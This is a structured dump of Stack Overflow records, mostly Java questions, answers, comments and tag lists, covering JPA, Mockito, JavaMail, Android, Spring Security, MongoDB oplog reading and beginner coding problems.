has body: Is it possible to load initial data in my database ? I am using JPA and am using the Drop and Create strategy, this way every time i want to test my application the database is first cleared and i would have to recreate everything all over again. I know in other languages (Php -> Doctrine datafixtures, C# -> Context) it is possible to load initial data after the persistention of the classes. However i tried searching for such feature in java and i can't find a good way to do this. I have found several topics across stackoverflow about this but none of them seem to have a good answer. I am using a java desktop application (not spring)
type: Question
score: 5
answer count: 1
tagged with: jpa
has comment: http://stackoverflow.com/comment/33826703
has answer: http://stackoverflow.com/a/22269406
accepted answer: http://stackoverflow.com/a/22269406
favorite count: 0
upvote count: 5
downvote count: 0
type: AnsweredQuestion

http://stackoverflow.com/comment/33744604
type: QuestionComment
comment on: http://stackoverflow.com/q/22224371
has text: clueless.. give a brief explanation. Here map application indicates google maps or what?
score: 0
type: Comment

http://stackoverflow.com/a/22224697
has body: You can control the TCP maximum segment size in some socket implementations. If you set it low enough, you can make the segment fit inside a single packet. The BSD Sockets API, which influenced almost every other implementation, has a setsockopt() function that lets you set various options on the socket. One of them, TCP_MAXSEG, controls the maximum segment size. Unfortunately for you, the standard Java Socket class doesn't support this particular option.
score: 0
answers question: http://stackoverflow.com/q/22221352
type: Answer

http://stackoverflow.com/a/22219039
has comment: http://stackoverflow.com/comment/33746380
has comment: http://stackoverflow.com/comment/33738956
has comment: http://stackoverflow.com/comment/33752061
has comment: http://stackoverflow.com/comment/33747528
upvote count: 1
accepted answer of: http://stackoverflow.com/q/22218175
has comment: http://stackoverflow.com/comment/33742027
has comment: http://stackoverflow.com/comment/33752744
answers question: http://stackoverflow.com/q/22218175
score: 1
has comment: http://stackoverflow.com/comment/33740526
has comment: http://stackoverflow.com/comment/33738923
type: AcceptedAnswer
has body: MongoDB does not yet support selective replication and it sounds as though you are not actually looking for selective replication but more for selective copying since replication ensures certain rules of using that server. I am not sure what you mean by a oplog watcher API but it is easy enough to read the oplog over time by just querying it: &gt; use local &gt; db.oplog.rs.find() ( http://docs.mongodb.org/manual/reference/local-database/ ) and then storing the latest timestamp of the record you have copied within a script you make. You can also use a tailable cursor here on the oplog to effectiely listen (pub/sub) to changes and copy them over to your other server.
downvote count: 0
has comment: http://stackoverflow.com/comment/33740158
type: Answer
has comment: http://stackoverflow.com/comment/33739038

http://stackoverflow.com/a/22292625
type: Answer
answers question: http://stackoverflow.com/q/22292229
has body: The variable name used to hold a reference is: irrelevant only available at compile time It makes no sense to care what a variable name is, nor could you do anything with it even if you could define a variable at runtime, which you can't. The thing close to what you want is to use Map: Map&lt;String, Object&gt; objects = new HashMap&lt;&gt;(); // extract className and name from input Object object = Class.forName(className); objects.put(name, object); Then pass the reference to the map back to where you need the created objects.
score: 0

http://stackoverflow.com/comment/33859251
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22286878
type: QuestionComment
has text: @djb the error is: `cannot find symbol - class beanClass`. @Braj code updated, please check my updated question.

grouplayout
type: Tag
tag name: grouplayout
tags question: http://stackoverflow.com/q/22268403
tags question: http://stackoverflow.com/q/22265086

http://stackoverflow.com/q/22248050
has title: Is it ok to affect boolean while testing?
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33788126
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33788015
has comment: http://stackoverflow.com/comment/33787965
has comment: http://stackoverflow.com/comment/33788928
tagged with: java
has body: EDIT: Totally rewrote the question since the original is unclear. Is it a bad practice to do the folowing in cases you need to keep the someTestMethod return value to perform further tests?: boolean foo; if(someCondition || (foo=someTestMethod()) || someOtherConditions){ //do stuff depending on foo value } Because I am testing a boolean and affecting it at the same time, which is what caused me to wonder if everything was right. I am writing the test this way because someTestMethod cost a lot of time, and I don't want it to be called if the first test passes. I have to add that I have simplified a lot, please don't reply about how the test could be rewritten, I only want to know if you can safely write if(foo=someTest()), which leads to test a variable and affecting it at the same time.
has comment: http://stackoverflow.com/comment/33793190
type: Question
has answer: http://stackoverflow.com/a/22249013
tagged with: java-5

http://stackoverflow.com/a/22276013
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/22275981
has comment: http://stackoverflow.com/comment/33841293
upvote count: 1
has body: The JButton should naturally size to an optimal preferred size that shows the entire icon. If this is not happening, then you are likely restricting the size of the JButton artificially. The solution: use the layout managers well, call pack() after adding all components and before setting the GUI visible, avoid null layouts, call revalidate() and repaint() on containers if you change any components, or their sizes or preferred sizes (such as if you change an icon while a program runs).
has comment: http://stackoverflow.com/comment/33839280
score: 1
has comment: http://stackoverflow.com/comment/33839196

osmdroid
type: Tag
tag name: osmdroid
tags question: http://stackoverflow.com/q/22282315
tags question: http://stackoverflow.com/q/22282460

http://stackoverflow.com/comment/33682388
has text: How is it not working? What are you expecting and what is happening instead?
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/22189347

http://stackoverflow.com/a/22197368
downvote count: 1
has comment: http://stackoverflow.com/comment/33696161
has body: Very easily :) double x = 47.123456; x = (long)(x*10)/(double)10
type: Answer
has comment: http://stackoverflow.com/comment/33696461
has comment: http://stackoverflow.com/comment/33696781
score: 1
answers question: http://stackoverflow.com/q/22197300
upvote count: 2
has comment: http://stackoverflow.com/comment/33696234
has comment: http://stackoverflow.com/comment/33696062

http://stackoverflow.com/q/22172538
tagged with: testng
type: UnansweredQuestion
has title: Mockito throw Exception
score: 34
tagged with: spring-mvc
has answer: http://stackoverflow.com/a/61292255
upvote count: 34
tagged with: java
has body: @Test(expectedExceptions=DataAccessException.class) public void testUpdateSubModuleOrderDateExceptionCheck() { //some code to initialize// UserSubModuleDao userSubModuleDao = mock(UserSubModuleDao.class); userModuleServiceImpl.setUserSubModuleDao(userSubModuleDao); UserSubModule userSubModule=new UserSubModule(); UserSubModuleId userSubModuleId=new UserSubModuleId(); when(userSubModuleDao.findById(any(UserSubModuleId.class),eq(false))).thenThrow(DataAccessException.class); userModuleServiceImpl.updateSubModuleOrder(data, moduleSysId, userId); I want to throw the Db exception for code coverage . its working if i give expected exception as : Exception.class but not for DataAccessException.class My method in original class is as following: public void updateSubModuleOrder(Long[] data, Long moduleSysId, Long userId) { try { for (int i = 0; i &lt; data.length; i++) { SubModule subModule=new SubModule(); subModule.setSubModuleId(data[i]); UserSubModuleId userSubModuleId = new UserSubModuleId(); userSubModuleId.setSubModuleId(subModule); userSubModuleId.setUserId(userId); userSubModuleId.setUserModuleId(moduleSysId); UserSubModule userSubmodule = new UserSubModule(); userSubmodule = userSubModuleDao.findById(userSubModuleId, false); catch (DataAccessException ewmsDataExp) { LOGGER.error( "Database Exception while updateSubModuleOrder because of {}", ewmsDataExp.getMessage()); throw new EWMSServiceException( "Database Exception while updateSubModuleOrder" + ewmsDataExp.getMessage()); } catch (Exception exp) { LOGGER.error( "System Exception while updateSubModuleOrder because of {}", exp.getMessage()); throw new EWMSServiceException( "Database Exception while updateSubModuleOrder" + exp.getMessage()); }* i get the error FAILED: testUpdateSubModuleOrderDateExceptionCheck org.testng.TestException: **Expected exception org.springframework.dao.DataAccessException but got org.testng.TestException:** **Expected exception org.springframework.dao.DataAccessException but got java.lan…
type: Question
has answer: http://stackoverflow.com/a/22172638
tagged with: mockito
downvote count: 0
has answer: http://stackoverflow.com/a/35307960
has comment: http://stackoverflow.com/comment/33665589
favorite count: 0
answer count: 3
tagged with: exception

http://stackoverflow.com/q/22293659
possible better answer: http://stackoverflow.com/a/25011202
type: AnsweredQuestion
tagged with: java
has comment: http://stackoverflow.com/comment/33871561
type: Question
answer count: 2
upvote count: 1
has comment: http://stackoverflow.com/comment/33880579
has answer: http://stackoverflow.com/a/25011202
has title: Issue in sending email to a group email using java mail
favorite count: 0
score: 0
has body: As subject is self explanatory - I am facing issue in sending email to a group email using java mail. I have gone through through several blogs & articles which are of no help & does not have a precise answer or hangs in middle. Can you please help. Here is my mail class for you. My mail is going to have a link to ftp location & a text file as an attachment. To separate the issue i tried to send a simple mail to the group as well but that didn't help either. I tried to find answers in places like java-forums.org & Stack overflow but found no luck. I appreciate your quality time & help in providing an insight to the issue. To explain the issue better- My Automation framework when completes the execution of test cases, it sends a mail to me with the link to execution report & a log file as an attachment. Now the audience for the report has expanded & we need to send the mail to a group email address. When I set the email (to say group.email@company.com) none of the users in the group receives the mail. Where as if I send the email to my email address or anyone else email address it works. I get no logs or error for this & so I am not able to understand the issue correctly. An insight from the experts will help in understanding the issue. Thanks in advance. Akshat import java.util.ArrayList; import java.util.Properties; import javax.activation.DataHandler; import javax.activation.DataSource; import javax.activation.FileDataSource; import javax.mail.BodyPart; import javax.mail.Message; import javax.mail.Message.RecipientType; import javax.mail.Multipart; import javax.mail.Session; import javax.mail.Transport; import javax.mail.internet.InternetAddress; import javax.mail.internet.MimeBodyPart; import javax.mail.internet.MimeMessage; import javax.mail.internet.MimeMultipart; public class ReportMail { private MimeMessage message = null; private Session emailSession = null; private MimeBodyPart textPart = null; private ArrayList<MimeBodyPart> attachmentArray = null; public …
tagged with: email
downvote count: 1
has comment: http://stackoverflow.com/comment/33871183
has answer: http://stackoverflow.com/a/22293962
accepted answer: http://stackoverflow.com/a/22293962

http://stackoverflow.com/a/22201894
has body: See also the duplicate Recursive BeanUtils.describe(), which works also recursively. The following is a custom version we are using (logs in a log4j logger): import java.beans.BeanInfo; import java.beans.IntrospectionException; import java.beans.Introspector; import java.beans.PropertyDescriptor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Arrays; import java.util.Collection; import java.util.Collections; import java.util.HashMap; import java.util.HashSet; import java.util.Map; import java.util.Set; import java.util.TreeMap; import org.apache.commons.beanutils.BeanUtilsBean; import org.apache.commons.beanutils.ConvertUtilsBean; import org.apache.log4j.Logger; /* * See the original version: https://stackoverflow.com/questions/6133660/recursive-beanutils-describe */ public class Inspector { public static void recursivelyDescribeAndLog(Object ob, Logger log){ log.info(ob.getClass()); try { Map&lt;String, String&gt; props = recursiveDescribe(ob); for (Map.Entry&lt;String, String&gt; p : props.entrySet()) { log.info(" -&gt; " + p.getKey() + "="+p.getValue()); } } catch (Throwable e) { log.error(e.getMessage(), e); } } public static Map&lt;String, String&gt; recursiveDescribe(Object object) { Set cache = new HashSet(); return recursiveDescribe(object, null, cache); } private static Map&lt;String, String&gt; recursiveDescribe(Object object, String prefix, Set cache) { if (object == null || cache.contains(object)) return Collections.EMPTY_MAP; cache.add(object); prefix = (prefix != null) ? prefix + "." : ""; Map&lt;String, String&gt; beanMap = new TreeMap&lt;String, String&gt;(); Map&lt;String, Object&gt; properties = getProperties(object); for (String property : properties.keySet()) { Object value = properties.get(property); try { if (value == null) { //ignore nulls } else if (Collection.class.isAssignableFrom(value.getClass())) { beanMap.putAll(convertAll((Collection) value, prefix + property, cache)); } else if (value.getClass().isAr…
upvote count: 8
has comment: http://stackoverflow.com/comment/33706919
answers question: http://stackoverflow.com/q/22200676
type: Answer
has comment: http://stackoverflow.com/comment/33706067
has comment: http://stackoverflow.com/comment/33705699
has comment: http://stackoverflow.com/comment/33707333
score: 8
downvote count: 0

http://stackoverflow.com/q/22299649
has comment: http://stackoverflow.com/comment/33882785
has answer: http://stackoverflow.com/a/22299988
tagged with: java
has answer: http://stackoverflow.com/a/22299849
type: Question
answer count: 2
has body: This is my context: I have an activity which downloads a list of video and set them into an adapter. When user clicks on each item, application downloads and streams video in an external application. So, let's see some code. Main activity has this: new TvAsyncTask(getActivity(), gridView, progressBar).execute(); TvAsyncTask download video list and sets it like here: protected void onPostExecute(ArrayList&lt;VideoPreviewData&gt; list) { progressBar.setVisibility(View.INVISIBLE); final TvListAdapter adapter = new TvListAdapter(activity.getApplicationContext(), R.layout.item_video_list, list); videoGridView.setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView&lt;?&gt; parent, final View view, int position, long id) { String videoUrl = adapter.getItem(position).getLink(); //Launch asyncTask to download video an load it into an external media player new GetVideoAsyncTask(activity).execute(videoUrl); } }); if (videoGridView!=null) videoGridView.setAdapter(adapter); } GetVideoAsyncTask load video link and lauch an Intent in an external application to stream that video. In order to do this, during onLoading I set a ProgressDialog that shows to the user a loading message. After that loading is completed, intent is launched. Problem When ProgressDialog is shown and user click "back button" the dialog is cancelled but the asynctask continues to work. So when it finishes it launches intent. I want to prevent this. I have a onPause method in MainActivity, but I don't have a reference of GetVideoAsyncTask launched from adapter. So I cannot call method AsyncTask.cancel(true) in order to deny intent launch. Any suggestion?
score: 0
has title: Cancel asynctask launched with onClickListener in an Adapter created inside onPostExecute
tagged with: android
tagged with: android-asynctask
type: UnansweredQuestion

http://stackoverflow.com/a/22311252
score: 5
type: AcceptedAnswer
upvote count: 5
type: Answer
has body: The indexing of your array goes out of bounds. In Java, arrays indexing is zero-based. You are getting 12 maximum, which is one position to high: rand(6) + 1 // either: 1, 2, 3, 4, 5, 6 rand(6) + 1 // either: 1, 2, 3, 4, 5, 6 So the sum of both will be one of these: 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12. But you can only index from 0 until 11 inclusive, if you create an array of 12 elements. Note that there are only 11 possible sums.
accepted answer of: http://stackoverflow.com/q/22311240
downvote count: 0
answers question: http://stackoverflow.com/q/22311240

exception
tags question: http://stackoverflow.com/q/22307410
tags question: http://stackoverflow.com/q/22190340
tags question: http://stackoverflow.com/q/22284077
tags question: http://stackoverflow.com/q/22241223
tags question: http://stackoverflow.com/q/22218702
tags question: http://stackoverflow.com/q/22184546
tags question: http://stackoverflow.com/q/22233838
tags question: http://stackoverflow.com/q/22174682
tags question: http://stackoverflow.com/q/22215957
tags question: http://stackoverflow.com/q/22222862
tags question: http://stackoverflow.com/q/22244843
tags question: http://stackoverflow.com/q/22207772
tags question: http://stackoverflow.com/q/22274416
tags question: http://stackoverflow.com/q/22244235
tags question: http://stackoverflow.com/q/22188138
tags question: http://stackoverflow.com/q/22240316
tags question: http://stackoverflow.com/q/22272910
tags question: http://stackoverflow.com/q/22304421
type: Tag
tags question: http://stackoverflow.com/q/22276016
tags question: http://stackoverflow.com/q/22286995
tags question: http://stackoverflow.com/q/22199477
tags question: http://stackoverflow.com/q/22291596
tags question: http://stackoverflow.com/q/22181716
tags question: http://stackoverflow.com/q/22175280
tags question: http://stackoverflow.com/q/22278418
tags question: http://stackoverflow.com/q/22210232
tags question: http://stackoverflow.com/q/22246872
tags question: http://stackoverflow.com/q/22258654
tags question: http://stackoverflow.com/q/22284633
tags question: http://stackoverflow.com/q/22250224
tags question: http://stackoverflow.com/q/22307338
tags question: http://stackoverflow.com/q/22240196
tags question: http://stackoverflow.com/q/22256282
tags question: http://stackoverflow.com/q/22229337
tags question: http://stackoverflow.com/q/22259413
tags question: http://stackoverflow.com/q/22252441
tags question: http://stackoverflow.com/q/22245957
tags question: http://stackoverflow.com/q/22294909
tags question: http://stackoverflow.com/q/22300210
tags question: http://stackoverflow.com/q/22303466
tags question: http://stackoverflow.com/q/22249573
tags question: http://stackoverflow.com/q/22297052
tags question: http://stackoverflow.com/q/22172538
tags question: http://stackoverflow.com/q/22295453
tags question: http://stackoverflow.com/q/22272372
tags question: http://stackoverflow.com/q/22201039
tag name: exception
tags question: http://stackoverflow.com/q/22217160
tags question: http://stackoverflow.com/q/22285750
tags question: http://stackoverflow.com/q/22214054
tags question: http://stackoverflow.com/q/22271099
tags question: http://stackoverflow.com/q/22203854
tags question: http://stackoverflow.com/q/22308349
tags question: http://stackoverflow.com/q/22189739
tags question: http://stackoverflow.com/q/22272605
tags question: http://stackoverflow.com/q/22229171
tags question: http://stackoverflow.com/q/22266797

http://stackoverflow.com/q/22217815
has answer: http://stackoverflow.com/a/22218252
type: AnsweredQuestion
tagged with: playframework-2.0
score: 3
downvote count: 0
tagged with: java
type: Question
upvote count: 3
has title: Play Framework: How do I get querystring value inside html template file
tagged with: http://stackoverflow.com/tag/html
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/22218252
has body: I am working on Play Framework 2.0 for Java and I have a querystring url like http://localhost:9000/project/detail?id=1, when this url hits It will call a HTML template file eg.detail.scala.html. So I want to check is there querystring exist in url in my HTML file. ex: @if(existsQueryString) @showPerticularProductDetail else @showAllProductList Please help me or give any suggestion for this. I dont want to pass some variable or any flag from controller to view for checking the condition. I just want to check is querystring there in url inside my HTML.
tagged with: scala

http://stackoverflow.com/q/22278160
tagged with: java.util.scanner
has comment: http://stackoverflow.com/comment/33843000
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33843002
tagged with: stack
tagged with: java
has answer: http://stackoverflow.com/a/22278190
has body: I am trying to create a program that takes user input from a scanner and pushes it onto a stack and then pops off each element and prints it out. Here is my code thus far: import java.util.*; public class NumberReverse { public static void main(String[] args) { Scanner sc = new Scanner(System.in); System.out.print("Enter numbers: "); int number = sc.nextInt(); Stack&lt;Integer&gt; stack = new Stack&lt;Integer&gt;(); stack.push(number); while (!(stack.isEmpty())) { System.out.println(stack.pop()); } } }
type: Question
has comment: http://stackoverflow.com/comment/33842984
answer count: 2
has title: Reading integers for a stack from user input
score: 0
has answer: http://stackoverflow.com/a/22278214
accepted answer: http://stackoverflow.com/a/22278190
has comment: http://stackoverflow.com/comment/33842992
possible better answer: http://stackoverflow.com/a/22278214

http://stackoverflow.com/comment/33889306
has text: You are deleting the record from database... but where are you refreshing the vector contents?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22304075
type: QuestionComment

http://stackoverflow.com/comment/33764236
type: AnswerComment
comment on: http://stackoverflow.com/a/22234432
type: Comment
has text: @PreetSangha, yes and no - the reason I brought up the point was that very often I will know in advance if a certain underlying implementation will have problems with severe expansion and contraction of the collection because I often deal with such problems.
score: 0

http://stackoverflow.com/a/22235105
has comment: http://stackoverflow.com/comment/34181919
score: 0
has comment: http://stackoverflow.com/comment/33772643
has comment: http://stackoverflow.com/comment/33772928
type: Answer
has comment: http://stackoverflow.com/comment/34182122
has comment: http://stackoverflow.com/comment/33767086
has body: The problem we have is that when the connection is closed if there are multiple messages in the Application queue a new trigger message will be sent to the initiation queue which will cause another trigger-monitor application (running on a different host) to pop up. . Is there a way to prevent MQ manager to send multiple MQTT_FIRST trigger messages to the initiation queue and make it only send it once when a message arrives in an empty queue and that is it. Yes, don't close the connection. You need to read the rules when using Trigger First. One of the rules is to consume ALL of the messages before closing the connection. If you don't follow the rules then you can't complain.
has comment: http://stackoverflow.com/comment/34182310
answers question: http://stackoverflow.com/q/22215609

http://stackoverflow.com/comment/33687695
has text: Direct answer, though I wonder why your database needs to be *that* small. Normal servers should handle these kind of sizes without too much trouble.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22192438
type: AnswerComment

http://stackoverflow.com/comment/33919146
has text: As reto pointed out, it all depends on your measure of "similarity". (Not talking about an attempt to create 16777217 colors that are "not too similar"...)
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/22319258
type: Comment

http://stackoverflow.com/a/22269260
has comment: http://stackoverflow.com/comment/33826899
answers question: http://stackoverflow.com/q/22269097
type: Answer
has body: Use Java's NumberFormat (Javadocs). For formatting currencies, simply do NumberFormat fmt = NumberFormat.getCurrencyInstance(); // optionally provide a Locale // optionally set currency, if different than the default for the selected locale fmt.setCurrency(...); String formattedNumber = fmt.format(...);
score: 0

http://stackoverflow.com/q/22219393
has comment: http://stackoverflow.com/comment/33736176
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33736151
tagged with: java
has body: I extracted data from an html page and then parsed the tags containing tags like this now I tried different ways like extracting substring etc do extract only the title and href tags. but it'snot working..Can anyone help me. This is the small snippet of my output my code doc = Jsoup.connect("myurl").get(); Elements link = doc.select("a[href]"); String stringLink = null; for (int i = 0; i < link.size(); i++) { stringLink = link.toString(); System.out.println(stringLink); } output
has comment: http://stackoverflow.com/comment/33736218
has comment: http://stackoverflow.com/comment/33736374
downvote count: 1
type: Question
tagged with: jsoup
has title: Extracting content from html tags using java
upvote count: 0
has comment: http://stackoverflow.com/comment/33736258
linked to: http://stackoverflow.com/q/238036
possible better answer: http://stackoverflow.com/a/22219783
accepted answer: http://stackoverflow.com/a/22219704
score: -1
has answer: http://stackoverflow.com/a/22219783
has answer: http://stackoverflow.com/a/56875043
answer count: 3
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/33736552
has comment: http://stackoverflow.com/comment/33736098
favorite count: 0
has answer: http://stackoverflow.com/a/22219704

http://stackoverflow.com/a/22262146
upvote count: 6
score: 6
has body: Garbage collection is a pretty complicated topic, and while you could learn all the details about this, I think what’s happening in your case is pretty simple. Sun’s Garbage Collection Tuning guide, under the “Explicit Garbage Collection” heading, warns: applications can interact with garbage collection … by invoking full garbage collections explicitly … This can force a major collection to be done when it may not be necessary … One of the most commonly encountered uses of explicit garbage collection occurs with RMI … RMI forces full collections periodically That guide says that the default time between garbage collections is one minute, but the sun.rmi Properties reference, under sun.rmi.dgc.server.gcInterval says: The default value is 3600000 milliseconds (one hour). If you’re seeing major collections every hour in one application but not another, it’s probably because the application is using RMI, possibly only internally, and you haven’t added -XX:+DisableExplicitGC to the startup flags. Disable explicit GC, or test this hypothesis by setting -Dsun.rmi.dgc.server.gcInterval=7200000 and observing if GCs happen every two hours instead.
answers question: http://stackoverflow.com/q/22249869
accepted answer of: http://stackoverflow.com/q/22249869
has comment: http://stackoverflow.com/comment/33814746
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33822499
downvote count: 0
type: Answer

http://stackoverflow.com/comment/33847428
type: QuestionComment
comment on: http://stackoverflow.com/q/22273340
score: 0
has text: It's managed in GLCapabilities and if it's not supported, JOGL will use the GLCapabilities instance closest to the one you requested.
type: Comment

http://stackoverflow.com/q/22183309
has comment: http://stackoverflow.com/comment/33671731
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33672426
has answer: http://stackoverflow.com/a/22183780
has title: org.springframework.beans.factory.NoSuchBeanDefinitionException: No bean named 'authenticationManager' is defined
answer count: 1
downvote count: 0
tagged with: spring-security
favorite count: 0
tagged with: spring
score: 2
accepted answer: http://stackoverflow.com/a/22183780
tagged with: jsf
upvote count: 2
has body: I use spring security with JSF. my web.xml file <?xml version="1.0" encoding="UTF-8"?> PrimeFaces Web Application javax.faces.PROJECT_STAGE Development contextConfigLocation /WEB-INF/applicationContext.xml index2.xhtml primefaces.THEME bootstrap Faces Servlet javax.faces.webapp.FacesServlet 1 Faces Servlet /faces/* Faces Servlet *.jsf Faces Servlet *.faces Faces Servlet *.xhtml State saving method: 'client' or 'server' (=default). See JSF Specification 2.5.2 javax.faces.STATE_SAVING_METHOD client javax.servlet.jsp.jstl.fmt.localizationContext resources.application com.sun.faces.config.ConfigureListener org.springframework.web.context.ContextLoaderListener org.springframework.web.context.request.RequestContextListener My spring-security.xml file: <?xml version="1.0" encoding="UTF-8"?> xmlns:sec="http://www.springframework.org/schema/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:beans="http://www.springframework.org/schema/beans" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.1.xsd http://www.springframework.org/schema/security http://www.springframework.org/schema/security/spring-security-3.1.xsd"> <sec:http auto-config="true" use-expressions="true"> <sec:intercept-url pattern="/home2" access="hasRole('ROLE_USER')" /> <sec:intercept-url pattern="/**" access="permitAll"/> <sec:form-login login-page="/index2.xhtml"/> </sec:http> <sec:authentication-manager alias="authenticationManager"> <sec:authentication-provider> <sec:user-service> <sec:user authorities="ROLE_USER" name="admin" password="admin" /> </sec:user-service> </sec:authentication-provider> </sec:authentication-manager> My ApplicationContext.xml file: And my managed bean: @Component @ManagedBean(name = "viewmb") @RequestScoped public class ViewManagedBean implements Serializable { ...... @ManagedProperty(value="#{authenticationManager}") private AuthenticationManager authenticationManager = null; public Authen…
type: AnsweredQuestion

http://stackoverflow.com/comment/33845319
comment on: http://stackoverflow.com/q/22279489
has text: There are lots of *possible* reasons, including many that have nothing to do with differences between Linux and Windows. You will need to provide us with more information if you want us to help you.
type: Comment
type: QuestionComment
score: 2

paintcomponent
tags question: http://stackoverflow.com/q/22179268
tags question: http://stackoverflow.com/q/22212215
tags question: http://stackoverflow.com/q/22178866
tags question: http://stackoverflow.com/q/22180008
tag name: paintcomponent
tags question: http://stackoverflow.com/q/22285419
tags question: http://stackoverflow.com/q/22275668
tags question: http://stackoverflow.com/q/22273746
tags question: http://stackoverflow.com/q/22188940
tags question: http://stackoverflow.com/q/22261273
tags question: http://stackoverflow.com/q/22313922
tags question: http://stackoverflow.com/q/22266216
tags question: http://stackoverflow.com/q/22232507
tags question: http://stackoverflow.com/q/22230391
type: Tag
tags question: http://stackoverflow.com/q/22209968
tags question: http://stackoverflow.com/q/22190226

http://stackoverflow.com/a/22172247
answers question: http://stackoverflow.com/q/22172152
score: 1
has body: startactivity(new Intent(getApplicationcontext(),second.class)); and add your activity in manifest file.
upvote count: 1
downvote count: 0
type: Answer

http://stackoverflow.com/q/22213761
tagged with: java
has title: After submitting the Ajax request to back-end the parameter will be appended to the origin address
type: Question
has body: I have a link that user can click on that to see a searchBox in a lightbox. Once click on the link a lightbox will be shown that includes a search box. User need to enter the search query and clicked on search button to see the search results in the same lightbox. The problem is that, when the request is sent and response is received the value sent by JavaScript will be replaced by the parameters of the url address. address is : www.example.com/search?id=12 Once the server sends the response the address will be changed to the following new address is : www.example.com/search?query=Alex Notice in the new address id=12 is gone, it cause a java.lang.NullPointerException as server requires id parameter to load the page. Form Search &lt;form action="" onsubmit="return search(this.query.value)"&gt; &lt;input name="query" id="query"/&gt; &lt;input type="submit" value="Search"/&gt; &lt;/form&gt; &lt;div id="results"&gt; &lt;/div&gt; JavaScript function search(request){ if(window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); } else { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if(xmlhttp.readyState == 4 &amp;&amp; xmlhttp.status == 200) { document.getElementById("results").innerHTML=xmlhttp.responseText; } } xmlhttp.open("get","/search?value="+request,false); xmlhttp.send(); return false; }
tagged with: javascript
tagged with: ajax
has comment: http://stackoverflow.com/comment/33734710
linked to: http://stackoverflow.com/q/8664486
has comment: http://stackoverflow.com/comment/33732182
has comment: http://stackoverflow.com/comment/33726874
answer count: 0
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33726794

http://stackoverflow.com/a/22239835
has body: Scanner java = new Scanner(System.in); int from, to; System.out.println("Enter a number: "); to = java.nextInt(); for (from = 1; from &lt; to; from+=2) { System.out.println(from); } I took your code, and here is what I changed: java.nextInt() instead of using java.nextDouble() and casting it to int from+=2 instead of from++, because you want to count two by two, and not one by one System.out.println(from); instead of System.out.println(to);, because you want to print the number you are increasing, not the number you want to reach.
has comment: http://stackoverflow.com/comment/33774498
has comment: http://stackoverflow.com/comment/33773877
has comment: http://stackoverflow.com/comment/33774614
has comment: http://stackoverflow.com/comment/33774330
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33773925
accepted answer of: http://stackoverflow.com/q/22239694
type: Answer
answers question: http://stackoverflow.com/q/22239694
has comment: http://stackoverflow.com/comment/33774245
has comment: http://stackoverflow.com/comment/33774207
has comment: http://stackoverflow.com/comment/33774069

http://stackoverflow.com/comment/33875958
type: Comment
type: QuestionComment
has text: I don't know that method. Could you include what class (full qualified name including package name) provides that method?
score: 1
comment on: http://stackoverflow.com/q/22296710

http://stackoverflow.com/q/22278418
answer count: 1
tagged with: exception
tagged with: android
tagged with: android-context
has answer: http://stackoverflow.com/a/22278612
type: UnansweredQuestion
tagged with: java
has body: My current project demands that a PopupWindow be displayed with a nested Spinner but for some reason, applying this code: (This code essentially instantiates a LinearLayout, creates a Spinner with the elements defined in my array, spinnersRay, and places it all on a PopupWindow) //LINEAR LAYOUT editsChangeLinear = new LinearLayout(this); editsChangeLinear.setLayoutParams(parentMatches); editsChangeLinear.setOrientation(LinearLayout.VERTICAL); editsChangeLinear.setBackgroundColor(Color.LTGRAY); //ARRAYLIST &amp; ADAPTER ArrayList&lt;String&gt; arrayList = new ArrayList&lt;String&gt;(); for(SpinnerIndex i : spinnersRay){ if(!i.name.replaceAll("\\s","").equals("TUTORIALS")) arrayList.add(i.name); } spinner = new Spinner(this); ArrayAdapter&lt;String&gt; spinnerArrayAdapter = new ArrayAdapter&lt;String&gt;(this, android.R.layout.simple_spinner_dropdown_item,arrayList); spinner.setAdapter(spinnerArrayAdapter); //ADD VIEW editsChangeLinear.addView(spinner); editsChangePopup = new PopupWindow(editsChangeLinear, LayoutParams.MATCH_PARENT, LayoutParams.WRAP_CONTENT); editsChangePopup.setFocusable(true); editsChangePopup.setContentView(editsChangeLinear); editsChangePopup.showAtLocation(outerScrollView,1,0,0); I am always given the same BadTokenException whenever I click the Spinner, which clear displays the Strings returned from my i.name calls which merely access the name elements of my own custom Spinner class called SpinnerIndex which extends Spinner. The Spinner (or at least its very first element) appears to be properly formed, but this exception is thrown whenever I tap it. I do not understand why. I have tried placing things in seperate Threads or toying with the context but I am quite lost here.
type: Question
score: 0
has title: Android "is activity running?" BadTokenException on PopupWindow

http://stackoverflow.com/comment/33691246
has text: Why don't you let yourself be inspired by the numerous logging frameworks which perform similar tasks.
comment on: http://stackoverflow.com/q/22194645
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22248824
tagged with: java
has title: Java two webservices calls make concurrent for better performance
tagged with: concurrency
has answer: http://stackoverflow.com/a/22248939
type: Question
has answer: http://stackoverflow.com/a/22249154
score: 2
has comment: http://stackoverflow.com/comment/33789527
has answer: http://stackoverflow.com/a/22269615
downvote count: 0
has comment: http://stackoverflow.com/comment/33789211
answer count: 4
favorite count: 0
accepted answer: http://stackoverflow.com/a/22249154
has answer: http://stackoverflow.com/a/22300384
upvote count: 2
tagged with: multithreading
possible better answer: http://stackoverflow.com/a/22300384
has comment: http://stackoverflow.com/comment/33789440
